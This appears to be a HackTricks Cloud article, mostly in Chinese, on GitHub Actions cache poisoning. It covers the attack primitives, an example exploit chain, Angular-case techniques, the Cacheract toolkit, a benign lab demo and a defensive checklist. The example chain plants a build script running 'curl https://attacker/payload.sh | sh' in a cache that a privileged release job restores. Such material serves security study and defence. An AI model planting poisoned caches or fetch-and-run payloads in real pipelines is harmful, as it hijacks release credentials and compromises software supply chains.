GH Actions - Cache Poisoning
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
概述
The GitHub Actions cache 是针对整个仓库全局的。任何知道缓存 key(或 restore-keys)的 workflow 都可以填充该条目,即便该 job 只有 permissions: contents: read。GitHub 不会按 workflow、事件类型或信任级别来隔离缓存,因此攻击者如果攻破了一个低权限的 job,就能污染一个之后会被有权限的 release job 恢复的缓存。Ultralytics 的入侵就是通过将 pull_request_target workflow 转移到 PyPI 发布流水线来实现的。
攻击原语
actions/cacheexposes both restore and save operations(actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4)。除非是由 fork 触发的真正不受信任的pull_requestworkflows,否则任何 job 都被允许调用 save。- 缓存条目仅由
key标识。宽泛的restore-keys使得注入 payload 变得容易,因为攻击者只需与某个前缀发生冲突。 - Cache keys 和版本是由客户端指定的值;cache 服务不会验证某个 key/version 是否匹配受信任的 workflow 或缓存路径。
- cache server URL + runtime token 相对于单次 workflow 来说有效期较长(历史上约 ~6 小时,现在约 ~90 分钟),且用户无法撤销。自 2024 年末起,GitHub 在原始 job 完成后会阻止 cache 写入,因此攻击者必须在 job 仍在运行时写入或预先污染未来的 keys。
- 被缓存的文件系统会原样恢复。如果缓存中包含稍后会被执行的脚本或二进制文件,攻击者就能控制该执行路径。
- cache 文件本身在 restore 时不会被校验;它只是一个 zstd 压缩的归档,因此被污染的条目可以覆盖脚本、
package.json或恢复路径下的其他文件。
示例利用链
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Prileged workflow 已恢复并执行了 poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
第二个 job 现在在持有 release credentials(PyPI tokens、PATs、cloud deploy keys 等)的情况下运行攻击者控制的代码。
Poisoning 机制
GitHub Actions cache entries 通常是 zstd-compressed tar archives。你可以在本地构造一个并将其上传到 cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
在 cache hit 时,restore action 会按原样提取归档。如果 cache 路径包含稍后会被执行的脚本或配置文件(build tooling、action.yml、package.json 等),你可以覆盖它们以获得执行权限。
Practical exploitation tips
- 针对由
pull_request_target、issue_comment或仍会保存 caches 的 bot 命令触发的 workflows;GitHub 允许它们覆盖 repository-wide keys,即使 runner 对仓库只有只读访问权限。 - 查找跨信任边界重用的确定性 cache keys(例如
pip-${{ hashFiles('poetry.lock') }})或过于宽松的restore-keys,然后在有特权的 workflow 运行之前保存你的恶意 tarball。 - 监控日志中的
Cache saved条目,或添加你自己的 cache-save 步骤,这样下一次 release job 会恢复载荷并执行被特洛伊化的脚本或二进制文件。
Newer techniques seen in the Angular (2026) chain
- Cache v2 “prefix hit” behavior: 在 Cache v2 中,exact misses 仍然可以恢复另一个共享相同 key 前缀的条目(实际上相当于“所有 keys 都是 restore keys”)。攻击者可以预先种入近碰撞的键,使未来的 miss 回退到被污染的对象。
- Forced eviction in one run: 自 November 20, 2025 起,当仓库 cache 使用量超过限制(默认 10 GB)时,GitHub 会立即驱逐条目。攻击者可以先上传垃圾 cache 数据,在同一 run 中驱逐合法条目,然后写入恶意的 cache key,而无需等待每日清理周期。
setup-nodecache pivots via reusable actions: 将actions/setup-node包装为带有cache-dependency-path的可重用/内部 actions,可能悄然桥接低信任和高信任的 workflows。如果两个路径哈希到共享的 keys,污染 dependency cache 就可以在有特权的自动化中执行(例如 Renovate/bot jobs)。- Chaining cache poisoning into bot-driven supply chain abuse: 在 Angular 案例中,cache poisoning 泄露了一个 bot 的 PAT,随后可用于在批准后强制推送 bot 所有的 PR heads。如果 approval-reset 规则对 bot 行为者豁免,这就允许在合并前将已审查的提交替换为恶意提交(例如冒充的 action SHAs)。
##å Cacheract
Cacheract 是一个面向 PoC 的工具包,用于在授权测试中对 GitHub Actions 进行 cache poisoning。其实用价值在于它自动化了那些在手工操作时容易出错的脆弱环节:
- 从 runner 检测并使用运行时 cache 上下文(
ACTIONS_RUNTIME_TOKEN和 cache 服务 URL)。 - 枚举并定位下游 workflows 使用的候选 cache keys/versions。
- 通过填满 cache 配额(在适用时)强制驱逐,然后在同一次运行中写入攻击者控制的条目。
- 种入被污染的 cache 内容,以便后续 workflows 恢复并执行被修改的工具。
在 Cache v2 环境中,这些功能尤其有用,因为时间和 key/version 行为比早期 cache 实现更为关键。
Demo
仅在你拥有或被明确允许测试的仓库中使用此方法。
1. Vulnerable workflow (untrusted trigger can save cache)
该 workflow 模拟了 pull_request_target 的反模式:它从攻击者控制的上下文中写入 cache 内容,并以确定性 key 保存它。
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. 特权工作流(恢复并执行缓存的二进制/脚本)
该工作流恢复相同的 key 并在持有一个 dummy secret 时执行 toolchain/bin/build。如果被污染,执行路径将由攻击者控制。
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. 运行实验
- 添加一个稳定的
toolchain.lock文件,以便两个工作流解析相同的缓存键。 - 从测试 PR 触发
untrusted-cache-writer。 - 通过
workflow_dispatch触发privileged-consumer。 - 确认日志中出现
POISONED_BUILD_PATH,并且创建了/tmp/cache-poisoning-demo.txt。
4. 技术上展示的内容
- Cross-workflow cache trust break: 写入方和使用方工作流不共享信任级别,但它们共享缓存命名空间。
- Execution-on-restore risk: 在执行恢复的脚本/二进制文件之前没有进行完整性校验。
- Deterministic key abuse: 如果高信任作业使用可预测的键,低信任作业可以预置恶意内容。
5. 防御性验证清单
- 按信任边界拆分键(
pr-、ci-、release-),并避免共享前缀。 - 在不受信任的工作流中禁用缓存写入。
- 在运行之前对恢复的可执行内容进行哈希/验证。
- 避免直接从缓存路径执行工具。
参考资料
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

